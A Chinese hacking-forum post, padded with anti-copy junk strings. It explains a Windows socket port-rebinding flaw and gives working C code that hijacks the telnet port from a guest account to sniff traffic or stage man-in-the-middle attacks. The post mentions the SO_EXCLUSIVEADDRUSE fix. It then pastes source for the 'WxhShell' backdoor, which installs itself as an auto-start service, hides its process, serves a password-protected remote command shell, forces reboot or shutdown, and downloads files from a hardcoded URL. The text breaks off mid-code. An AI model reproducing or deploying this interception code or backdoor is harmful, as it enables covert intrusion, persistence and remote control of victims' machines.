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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S8AbLl9G@>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Io<T'K  
=LLpJ+  
  saddr.sin_family = AF_INET; V/xXW=  
~.x#ic  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `scW.Vem  
Vf:.C|Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1p~ORQ  
^@/wXj:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k'%yvlv  
873 bg|^hs  
  这意味着什么?意味着可以进行如下的攻击: .$p eq  
awR !=\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u\ 7Y_`8  
JJ1>)S}X-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (L4llZ;q  
Vp; `!+z"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +mBS&FK  
to).PI?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r&xIVFPI[  
O1jiD_Y!9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #m{(aa9;  
C+t3a@&|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K?,? .!ev  
EG^ rh;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #f(tzPD  
T\Xf0|y  
  #include #xx.yn(7  
  #include }.D18bE(  
  #include V?yQm4  
  #include    MPnMLUB$\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *PlKl_nP6  
  int main() :j~4mb?$  
  { ;g8v7>p  
  WORD wVersionRequested; 6I(Y<LZ5  
  DWORD ret; KW'nW  
  WSADATA wsaData; >!Y#2]@}o  
  BOOL val; ^7>~y(  
  SOCKADDR_IN saddr; 5q@s6_"{  
  SOCKADDR_IN scaddr; eb}XooX  
  int err; q'7.lrKwa>  
  SOCKET s; fcp_<2KH  
  SOCKET sc; Q1*_l  
  int caddsize; .s"Og;g  
  HANDLE mt; v$@1q9 5J  
  DWORD tid;   Cm8h b  
  wVersionRequested = MAKEWORD( 2, 2 ); -ewR:Y@j  
  err = WSAStartup( wVersionRequested, &wsaData ); ]6^S: K_"  
  if ( err != 0 ) { 4xT /8>v2|  
  printf("error!WSAStartup failed!\n"); XBX`L"0  
  return -1; /zh:7N  
  } Ie!">8."  
  saddr.sin_family = AF_INET; }BW&1*M{  
   .!^OmT,u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %n6<6t`$  
@VHstjos^V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VWt=9D;  
  saddr.sin_port = htons(23); |g \ _xl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \kV|S=~@  
  { #l+Rs3T:  
  printf("error!socket failed!\n"); AW \uE[kg  
  return -1; 2sgp$r  
  } lAG@nh^  
  val = TRUE; zk3\v "  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 28M^ F~0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9Bpb?  
  { ?{ \7th37  
  printf("error!setsockopt failed!\n"); id+EBVHAd  
  return -1; fup?Mg-  
  } \kKd:C{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wbr$w>n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V%;dTCq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R f)|p;  
Ok)f5")N %  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /ho7~C+H*e  
  { #X``^  
  ret=GetLastError(); ;2`t0#J$]  
  printf("error!bind failed!\n"); 1Hhr6T^)  
  return -1; 6yUThv.G#  
  } %j@/Tx/  
  listen(s,2); Y5ei:r|^  
  while(1) cGo_qR/B(>  
  { 0FL'8!e<  
  caddsize = sizeof(scaddr); _d7;Z%  
  //接受连接请求 yYe>a^r4R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *1-0s*T  
  if(sc!=INVALID_SOCKET) HD{u#~8{  
  { dg*xo9Xi`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EJz!#f~  
  if(mt==NULL) . WJ  
  { Q~ Nq5[  
  printf("Thread Creat Failed!\n"); +B8oW3v# )  
  break; bUy!hS;s  
  } dtV*CX.D.7  
  } f6SXXkO+  
  CloseHandle(mt); zV15d91GX  
  } -;6uN\gq  
  closesocket(s); r$M<vo6C  
  WSACleanup(); &xUCXj2-z  
  return 0; Wn=I[K&&  
  }   t:oq't  
  DWORD WINAPI ClientThread(LPVOID lpParam) BINHCZ  
  { Hr]  
  SOCKET ss = (SOCKET)lpParam; FmF[S&gFRs  
  SOCKET sc; uF3{FYM{I  
  unsigned char buf[4096]; ~ [/jk !G  
  SOCKADDR_IN saddr; VR_/Vh ]@  
  long num; Z s| *+[  
  DWORD val; 3qu?qD  
  DWORD ret;   h)W#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dEkST[Y3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FncP,F$8   
  saddr.sin_family = AF_INET; "5$p=|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bs% RWwn  
  saddr.sin_port = htons(23); FB,rQ9D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s/>0gu]A8  
  { bx6=LK  
  printf("error!socket failed!\n"); 6W]C`  
  return -1; A=ez,87  
  } # ax% n  
  val = 100; )eSQce7H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |V}tTx1  
  { ?qHQ#0 @y]  
  ret = GetLastError(); :KRNLhWb  
  return -1; I_?R(V[9  
  } dF! B5(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ghkV^ [  
  { h?ijZHG $  
  ret = GetLastError(); )FA:wsy~E  
  return -1; FW3E UC)P  
  } 6_rgRo&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JX>`N5s  
  { j~+(#|  
  printf("error!socket connect failed!\n"); [*C~BM  
  closesocket(sc); i-WP#\s  
  closesocket(ss); &>Y.$eW_  
  return -1; (VCJn<@@  
  } GqP02P'2  
  while(1)  fOsvOC  
  { ^*y 1Fn0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4 8; b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XfIsf9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #{k+^7aQ  
  num = recv(ss,buf,4096,0); cj2^wmkB  
  if(num>0) o?= &kx  
  send(sc,buf,num,0); Jfv'M<I  
  else if(num==0) qM Qu!%o  
  break; "~Kph0-  
  num = recv(sc,buf,4096,0); >wYmx4W>  
  if(num>0) UT 7'-  
  send(ss,buf,num,0); S5L0[SZ$!  
  else if(num==0) ?%Q=l;W.  
  break; s nNd7v.U6  
  } 3:sx%Ci/2  
  closesocket(ss); @b5$WKPX  
  closesocket(sc); Y@Ry oJ  
  return 0 ; t!FC)iY  
  } .UN?Ak*R  
Gp?pSI,b.t  
I&^hG\D  
========================================================== W^;4t3eQf  
gHXvmR"  
下边附上一个代码,,WXhSHELL BOdlz#&s  
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========================================================== )#? K2E  
/ U~yYh  
#include "stdafx.h" p ]s)Xys  
i_!$bk< yo  
#include <stdio.h> ^H&`e"|R9  
#include <string.h> o=lZl_5/u;  
#include <windows.h> v}!^RW 'X  
#include <winsock2.h> 80gOh:  
#include <winsvc.h> yS?5&oMl  
#include <urlmon.h> ET*:iioP  
GJ?J6@|  
#pragma comment (lib, "Ws2_32.lib") ~e]l  
#pragma comment (lib, "urlmon.lib") (2 hI  
N /;Vg ^Wx  
#define MAX_USER   100 // 最大客户端连接数 ~xJr|_,gp  
#define BUF_SOCK   200 // sock buffer c|iTRco  
#define KEY_BUFF   255 // 输入 buffer 11A$#\,  
5@W63!N  
#define REBOOT     0   // 重启 @6;ZP1  
#define SHUTDOWN   1   // 关机 0uGTc[^^M  
cp`ZeLz2^  
#define DEF_PORT   5000 // 监听端口 BuitM|k'  
y<BG-  
#define REG_LEN     16   // 注册表键长度 Xoq -  
#define SVC_LEN     80   // NT服务名长度 ;<F^&/a|yQ  
uaLjHR0  
// 从dll定义API 8|!"CQJ|H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Dba!zSs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *u[@C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \2Q#'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R=iwp%c(  
?2gXF0+~Y2  
// wxhshell配置信息 r. rzU  
struct WSCFG { tp\d:4~R  
  int ws_port;         // 监听端口 R_:lp\S&  
  char ws_passstr[REG_LEN]; // 口令 ;jKLB^4nX  
  int ws_autoins;       // 安装标记, 1=yes 0=no fNrpYR X  
  char ws_regname[REG_LEN]; // 注册表键名 f$?`50D"1  
  char ws_svcname[REG_LEN]; // 服务名 9zLeyw\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pG v*{.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |$GPJaNqa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |*8X80<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4~vn%O6n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Go/\g   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ],zp~yVU&  
Q} -YD.bx3  
}; TTo?BVBK  
 {yxLL-5c  
// default Wxhshell configuration oy=ej+:  
struct WSCFG wscfg={DEF_PORT, +R 8dy  
    "xuhuanlingzhe", m&MZn2u[4i  
    1, kFfNDM#D  
    "Wxhshell", zvv/|z2(r  
    "Wxhshell", }Os7[4 RW  
            "WxhShell Service", @JJ{\?>  
    "Wrsky Windows CmdShell Service", SEM- t   
    "Please Input Your Password: ", Pn ?gB}l  
  1, }JUc!cH8z  
  "http://www.wrsky.com/wxhshell.exe", ,OkI0[  
  "Wxhshell.exe" GN+,9  
    }; n (Um/  
sr<\fW  
// 消息定义模块 PFbkkQKsT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ++|e z{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; btDTC 9O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Izfq`zS+\s  
char *msg_ws_ext="\n\rExit."; O? 7hT!{  
char *msg_ws_end="\n\rQuit."; _~y-?(46K  
char *msg_ws_boot="\n\rReboot..."; /1+jQS  
char *msg_ws_poff="\n\rShutdown..."; X9&>.?r  
char *msg_ws_down="\n\rSave to "; @k-GyV-v  
,K.Wni#m  
char *msg_ws_err="\n\rErr!"; |A=~aQot  
char *msg_ws_ok="\n\rOK!"; JUq7R%"h6  
T IyHM1+  
char ExeFile[MAX_PATH];  Ozsvsa  
int nUser = 0; AG G xx?I  
HANDLE handles[MAX_USER]; W7\UZPs5t  
int OsIsNt; *4Z! 5iOs  
)<5hga][~a  
SERVICE_STATUS       serviceStatus; {J;(K~>?m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F]RZP/D`  
SU.$bsu  
// 函数声明  "'Q~&B;@  
int Install(void); +4[Je$qYa  
int Uninstall(void); 0.U- tg0  
int DownloadFile(char *sURL, SOCKET wsh); hXc:y0 0  
int Boot(int flag); Bv 7os3xb  
void HideProc(void); bhW&,"$Z  
int GetOsVer(void); <^e  
int Wxhshell(SOCKET wsl); +rDKx(Rk  
void TalkWithClient(void *cs); [E qZj/  
int CmdShell(SOCKET sock); H00iy$R  
int StartFromService(void); QghL=  
int StartWxhshell(LPSTR lpCmdLine); H 9?txNea  
Jg6@)<n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * YLp C^&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z3dI B`@  
ypTH=]y  
// 数据结构和表定义 Rvj[Csgi  
SERVICE_TABLE_ENTRY DispatchTable[] = T7(U6yN  
{ iu`B8yI  
{wscfg.ws_svcname, NTServiceMain}, CI|#,^  
{NULL, NULL} @3?dI@i(  
}; XU`vs`/   
"OrF81  
// 自我安装 ?Elt;wL(  
int Install(void) h0-CTPQ7A  
{ 'pT8S  
  char svExeFile[MAX_PATH]; c:-n0m'i  
  HKEY key; -[z1r)RZ  
  strcpy(svExeFile,ExeFile); Z:VT%-  
R]d934s  
// 如果是win9x系统,修改注册表设为自启动 ?|GwuG8g  
if(!OsIsNt) { 0)9n${P7d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =BeJ.8$@VC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6PLdzZ{  
  RegCloseKey(key); 6+SaO !lR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g:&PjKA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 @q"rPE^  
  RegCloseKey(key); fs, >X!l+  
  return 0; zy8D&7Ytf  
    }  N1dM,H  
  } E$4Ik.k  
} T ?{F7  
else { i >BQRbU  
p '=XW#2 >  
// 如果是NT以上系统,安装为系统服务 9#\oGzDN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + ;B K|([#  
if (schSCManager!=0) iMF-TR  
{ w#>CYP`0k6  
  SC_HANDLE schService = CreateService OB+QVYk"  
  ( $T*g@]   
  schSCManager, 8 HD I]  
  wscfg.ws_svcname, is{H >#+"  
  wscfg.ws_svcdisp, YF)c.Q0  
  SERVICE_ALL_ACCESS, IG4`f~k^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (usPAslr  
  SERVICE_AUTO_START, I:] Pd  
  SERVICE_ERROR_NORMAL, -g4 {:!*D  
  svExeFile, BHS8MV L@  
  NULL, @KU^B_{i  
  NULL, O?Qi  
  NULL, B1J2m^  
  NULL, }`_x%]EJ  
  NULL _Hv@bIL'  
  ); 1sXVuto  
  if (schService!=0) > NtJ)N*  
  { W"5VqN6v  
  CloseServiceHandle(schService); S8;5|ya  
  CloseServiceHandle(schSCManager); T{lK$j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^7Z.~A y  
  strcat(svExeFile,wscfg.ws_svcname); Y-]Ne"+vf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xepp."O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  SB^xq  
  RegCloseKey(key); +QEiY~i  
  return 0; F>aaUj  
    } }J_#N.y  
  } #$u7:p [t  
  CloseServiceHandle(schSCManager); f}Uf* Bp  
} (q=),3/<pU  
} [9~6, ;6  
nOU.=N v`  
return 1; *YP;HL  
} Q&&oP:4~X*  
;sY n=r  
// 自我卸载 4R9y~~+  
int Uninstall(void) +<sv/gEt  
{ cTdX'5  
  HKEY key; q)y<\cEO  
6FEIQ#`{  
if(!OsIsNt) { xDn#=%~+x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LbnW(wr6:(  
  RegDeleteValue(key,wscfg.ws_regname); P:m6:F@hO  
  RegCloseKey(key); N[sJ5oF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rrp-SR?O  
  RegDeleteValue(key,wscfg.ws_regname); #9q ]jjH E  
  RegCloseKey(key); ]U.*KkQ  
  return 0; 1m<8M[6u  
  } DP!~WkU~  
} 2h`Tn{&1/  
} 'A'[N :i  
else { ZP"Xn/L  
= Tq\Ag:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GNoUn7Y  
if (schSCManager!=0) Gg5+Ap D  
{ B5!|L)7>{p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X 3(*bj>P  
  if (schService!=0) N$P\$  
  { otdm r w|  
  if(DeleteService(schService)!=0) { g ?{o2gG  
  CloseServiceHandle(schService); :+meaxbu  
  CloseServiceHandle(schSCManager); cA B<'44R  
  return 0; QJU\YH%}  
  } A%.ZesjAx  
  CloseServiceHandle(schService); >]ZW.?1h  
  } jL:GP}I=  
  CloseServiceHandle(schSCManager); 9QEK|x`8  
} rchKrw  
} __,F_9M  
!OMl-:KUzE  
return 1; b}Xh|0`b+  
} nc.:Wm6Mj  
Z^#u n  
// 从指定url下载文件 uMK8V_p*?  
int DownloadFile(char *sURL, SOCKET wsh) 75H;6(7  
{ Gw+pjSJL`  
  HRESULT hr; "; mlQyP  
char seps[]= "/"; F??gVa aj  
char *token; N)  
char *file; a[NR%Xq  
char myURL[MAX_PATH]; z#/"5 l   
char myFILE[MAX_PATH]; 3?<LWrhV3  
V6fJaZ  
strcpy(myURL,sURL); O@`KG ZEPY  
  token=strtok(myURL,seps); ~SYW@o  
  while(token!=NULL) .FA99|:  
  { {Hzj(c~S?  
    file=token; "$A5:1;  
  token=strtok(NULL,seps); 3shd0q<  
  } x,TnYqT^  
)8_MkFQe  
GetCurrentDirectory(MAX_PATH,myFILE); 'm.+S8  
strcat(myFILE, "\\"); Dao=2JB{  
strcat(myFILE, file);  !xEGN@  
  send(wsh,myFILE,strlen(myFILE),0); }z-6,i)'k  
send(wsh,"...",3,0); OZQN&7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aA'of>'ib|  
  if(hr==S_OK) a.fdCI]%  
return 0; S#S&_#$`,X  
else mi@ni+2Tn  
return 1; !JA//{?  
` pfRY!  
} kQO-V4z!  
^CP>|JWD^  
// 系统电源模块 #hXxrN  
int Boot(int flag) R_Z 9aQ  
{ TVAa/_y2`  
  HANDLE hToken; Fmzkbt~oe  
  TOKEN_PRIVILEGES tkp; XUTsW,WC  
o&>aYlXd  
  if(OsIsNt) { 06[HE7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^m-w@0^z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'Ej+Jczzpp  
    tkp.PrivilegeCount = 1; UvuA N:'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X u2+TK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OtoG,~?  
if(flag==REBOOT) { 'ji|'x T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oObQN;A@6  
  return 0; xMFEeSzl>S  
} sCE%./h]  
else { g1)ZjABV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~%@1-  
  return 0; FA{(gib@9  
} $.zd,}l@L  
  } D&G^|: G  
  else { \Yh*ywwP#  
if(flag==REBOOT) { |g1Pr9{wy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I/go$@E"  
  return 0;  7MQxW<0  
} b;5 M$  
else { !1Nh`FN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5E =!L g  
  return 0; H{1'- wB  
} _}tPtHPa/  
} B(Er/\-@U  
HJt '@t=Ak  
return 1; 6xx(o  
} Wu'9ouw!  
S{N=9934_  
// win9x进程隐藏模块 ?*'0;K13  
void HideProc(void) ~bz$]o-<  
{ 9K-,#a  
uo bQS!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vb3hDy  
  if ( hKernel != NULL ) aI 1tG  
  { FmgMd)#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fpJ%{z2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xq}}T%jcd  
    FreeLibrary(hKernel); sK8sxy  
  } :KS"&h{SY  
Y~@(  
return; m;!X{CV  
} JA4}B wn  
k}!'@  
// 获取操作系统版本 xXSfYW  
int GetOsVer(void) nX8ulGGs  
{ eo^C[# .  
  OSVERSIONINFO winfo; wV\G$|Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #"fn;  
  GetVersionEx(&winfo); Ok<,_yh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Pvz57z{  
  return 1; gZ8JfA_\R(  
  else . Ctd$  
  return 0; h=^UMat-  
} |-z"6F r-  
bmJdZD7-<k  
// 客户端句柄模块 {u4AOM=)  
int Wxhshell(SOCKET wsl) Y$s4 *)%  
{ N_d{E/  
  SOCKET wsh; 2Sk"S/4}Z  
  struct sockaddr_in client; e$E>6Ngsr  
  DWORD myID; jwSPLq%  
,.0B0Y-X  
  while(nUser<MAX_USER) D;[%*q*  
{ /4|_A {m{m  
  int nSize=sizeof(client); )&l5I4CIf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (L:Mdo  
  if(wsh==INVALID_SOCKET) return 1; uzh TNf  
H-mQ{K^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]GD&EQ  
if(handles[nUser]==0) ~i!I6d~  
  closesocket(wsh); }$LnjwM;,  
else 1fC)&4W  
  nUser++; ^tIYr <I  
  } 4/OmgBo '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tlB -s;  
n%Oq"`w4  
  return 0; "Y@q?ey[1  
} +.zX?}  
J"$U$.W=  
// 关闭 socket Ctx>#uN6  
void CloseIt(SOCKET wsh) 8,(--A  
{ X"7x_ yOZ  
closesocket(wsh); @!^Y_q  
nUser--; dx+xs&  
ExitThread(0); (-`PO]e48  
} =`UFg >-  
}aQ*1Vcj  
// 客户端请求句柄 [Y j: H  
void TalkWithClient(void *cs) HDaeJk  
{ 6C/Pu!Sx?  
oTrit_@3  
  SOCKET wsh=(SOCKET)cs; mP's4  
  char pwd[SVC_LEN]; |9X2AS Qu  
  char cmd[KEY_BUFF]; , K:d/  
char chr[1]; DuLl"w\_@  
int i,j; HMDuP2Y  
W }v ,6Oe  
  while (nUser < MAX_USER) { c'mg=jH  
\:+ NVIN  
if(wscfg.ws_passstr) { =woP~+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dI>cPqQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bh#6yvpMR  
  //ZeroMemory(pwd,KEY_BUFF); db&!t!#,  
      i=0; \S&OAe/b  
  while(i<SVC_LEN) { %(]B1Zg6,  
?bg /%o  
  // 设置超时 zKp R:F  
  fd_set FdRead; &eqqgLz  
  struct timeval TimeOut; %e)? Mem  
  FD_ZERO(&FdRead); 5\h6'  
  FD_SET(wsh,&FdRead); yXqC  
  TimeOut.tv_sec=8; yPg0 :o-  
  TimeOut.tv_usec=0; ;Sg,$`]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +ej5C:El_}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1/&^~'  
J #jFX F\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2cSc 8  
  pwd=chr[0]; B I=57  
  if(chr[0]==0xd || chr[0]==0xa) { fRq+pUx U  
  pwd=0; | g1Cs  
  break; KZa6*,, s  
  } (!qfd Qq#  
  i++; C6h[L  
    } :qzh kKu  
Q)lD2  
  // 如果是非法用户,关闭 socket _dW#[TCF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #{#k;va  
} Ro4!y:2|  
e/#6qCE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1$`|$V1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 72_+ b  
Jd',v  
while(1) { }EP}D?Mmu  
S9ic4rcd  
  ZeroMemory(cmd,KEY_BUFF); ?M6)O?[  
K\zb+  
      // 自动支持客户端 telnet标准   } E[vW  
  j=0;  dvz6  
  while(j<KEY_BUFF) { 3\{\ al   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zg0nsNA   
  cmd[j]=chr[0]; $!TMS&Wk  
  if(chr[0]==0xa || chr[0]==0xd) { j5A>aj  
  cmd[j]=0; \(;u[  
  break; ] w0Y5H "  
  } {47Uu%XT  
  j++; +$#XV@@~  
    } aof'shS8  
mN.  
  // 下载文件 gm =C0Sp?  
  if(strstr(cmd,"http://")) { _8-T?j**   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /3 VO!V]u  
  if(DownloadFile(cmd,wsh)) PgHmOs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qr7|;l3  
  else ,4 q^(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _wX(OB  
  } 3<N2ehi?  
  else { {v|ib112;  
F!Cn'*  
    switch(cmd[0]) { 7FD,TJs  
  m,J IId%O  
  // 帮助 :(.:bf  
  case '?': { I+SfZ:q ^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <#199`R  
    break; /q,=!&f2  
  } H8B2{]HAt  
  // 安装 ;uv$>F auk  
  case 'i': { !VsdKG)  
    if(Install()) +nim47  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xw jm T  
    else 2X*n93AQi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b?VByJl  
    break; 7/_|/4&  
    } ;!lwB  
  // 卸载 bv7xh*/  
  case 'r': { dmcY]m  
    if(Uninstall()) L/,g D.h^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (w\|yPBB  
    else 1 3)6p|6x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [dUAb  
    break;  TU6YS<  
    } aY;34SF  
  // 显示 wxhshell 所在路径 "gzn%k[D9m  
  case 'p': { vu}U2 0@  
    char svExeFile[MAX_PATH]; 'HCRi Z<  
    strcpy(svExeFile,"\n\r"); ;l<Hen*  
      strcat(svExeFile,ExeFile); 49O_A[(d  
        send(wsh,svExeFile,strlen(svExeFile),0); =<)/lz] H  
    break; (l9jczi  
    } >Q^ mR  
  // 重启 <P&X0S`O  
  case 'b': { [eBt Dc*w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Evqy e;  
    if(Boot(REBOOT)) L; A#N9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^,?>6O  
    else { ="f-I9y  
    closesocket(wsh); $sZ4r>-  
    ExitThread(0); O8N1gf;t  
    } ~E_irzOFP  
    break; c* ~0R?  
    } *~cNUyd  
  // 关机 Ux{QYjF E  
  case 'd': { heB![N0:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w(X}  
    if(Boot(SHUTDOWN)) * CAz_s<  
